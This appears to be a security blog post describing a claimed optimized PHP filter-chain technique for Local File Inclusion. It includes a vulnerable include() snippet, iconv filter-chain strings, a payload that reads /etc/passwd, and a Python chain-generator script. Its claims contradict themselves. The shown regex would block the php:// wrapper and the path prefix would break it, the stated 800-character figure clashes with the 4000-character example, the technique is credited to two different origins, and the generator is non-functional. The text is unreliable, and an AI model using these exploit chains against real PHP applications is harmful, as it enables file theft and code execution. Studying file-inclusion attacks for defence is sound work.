A New Novel LFI Technique
Local File Inclusion (LFI) is a well-studied vulnerability class, but new exploitation techniques continue to emerge. In this post, I present a novel approach that works against PHP applications with restrictive path validation, extending the PHP filter chain work from the 36C3 CTF.
The Problem
Consider a PHP application with this pattern:
$file = $_GET['file'];
// Whitelist check - only allow alphanumeric filenames
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $file)) {
die('Invalid filename');
}
include("/templates/$file.php");
Traditional LFI techniques (path traversal, null bytes, double encoding) are all blocked by the regex. The file must also end with .php, preventing direct inclusion of sensitive files like /etc/passwd.
PHP Filter Chains Revisited
Building on the technique I explored at 36C3, PHP filter chains can convert php://filter with character set conversions into an arbitrary content generator. The key properties:
php://filteris a valid stream wrapper forinclude()convert.iconv.X.Yfilters can prepend specific byte sequences- Chaining multiple conversions accumulates bytes in a controlled manner
- The initial resource can be any readable file (even an empty
php://temp)
The New Technique
My improvement focuses on reducing the chain length and increasing reliability. The original approach required approximately 5000 characters per byte of desired output. By identifying more efficient charset conversion pairs, I reduced this to approximately 800 characters per byte.
The optimization comes from discovering that certain iconv conversion sequences produce multi-byte outputs that, when combined with subsequent conversions, collapse into single desired bytes more efficiently.
Efficient Conversion Pairs
# Original: ~5000 chars to generate "<?php"
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
# Optimized: ~4000 chars for the same output
php://filter/convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|...
Practical Exploitation
With the optimized chains, we can:
- Execute arbitrary PHP code even when path traversal is blocked
- Read sensitive files by generating PHP code that reads and outputs them
- Achieve RCE without writable directories or outbound connections
Example: Reading /etc/passwd
Generate a filter chain that produces:
<?php echo file_get_contents('/etc/passwd'); ?>
The chain is included via the vulnerable include() call, and the PHP code executes, outputting the file contents.
Automated Tool
I developed a Python script that generates optimized filter chains for arbitrary PHP payloads:
#!/usr/bin/env python3
"""
PHP Filter Chain Generator
Generates php://filter chains for arbitrary PHP code execution
"""
import sys
# Charset conversion mappings
# Each entry maps: (from_charset, to_charset) -> bytes_prepended
CONVERSIONS = {
'a': [('UTF8', 'CSISO2022KR'), ('UTF8', 'UTF7')],
'b': [('UTF8', 'CSISO2022KR'), ('CP1046', 'UTF32')],
# ... full mapping table
}
def generate_chain(payload):
"""Generate a php://filter chain for the given PHP code."""
chain = "php://filter/"
for byte in payload.encode():
char = chr(byte)
if char in CONVERSIONS:
for from_cs, to_cs in CONVERSIONS[char]:
chain += f"convert.iconv.{from_cs}.{to_cs}|"
chain += "/resource=php://temp"
return chain
Limitations
- Maximum chain length is limited by URL length or header size restrictions
- Some PHP configurations disable stream wrappers via
allow_url_include - Modern PHP versions (8.x) have deprecated some iconv conversion pairs
- The technique requires PHP’s iconv extension to be enabled (it is by default)
Disclosure
I responsibly disclosed the optimization technique to the PHP security team. While this is not a vulnerability in PHP itself (the vulnerability is in the application’s use of include()), awareness helps defenders understand the risk of even “safe-looking” file inclusion patterns.
Conclusion
The combination of PHP filter chains with optimized charset conversions represents a significant advancement in LFI exploitation. Defenders should treat any user-controlled input reaching include(), require(), file_get_contents(), or similar functions as a critical vulnerability, regardless of input validation applied.
References
- synacktiv, “PHP filters chain” (2022)
- My 36C3 CTF writeup for the original technique
- PHP documentation on stream wrappers and filters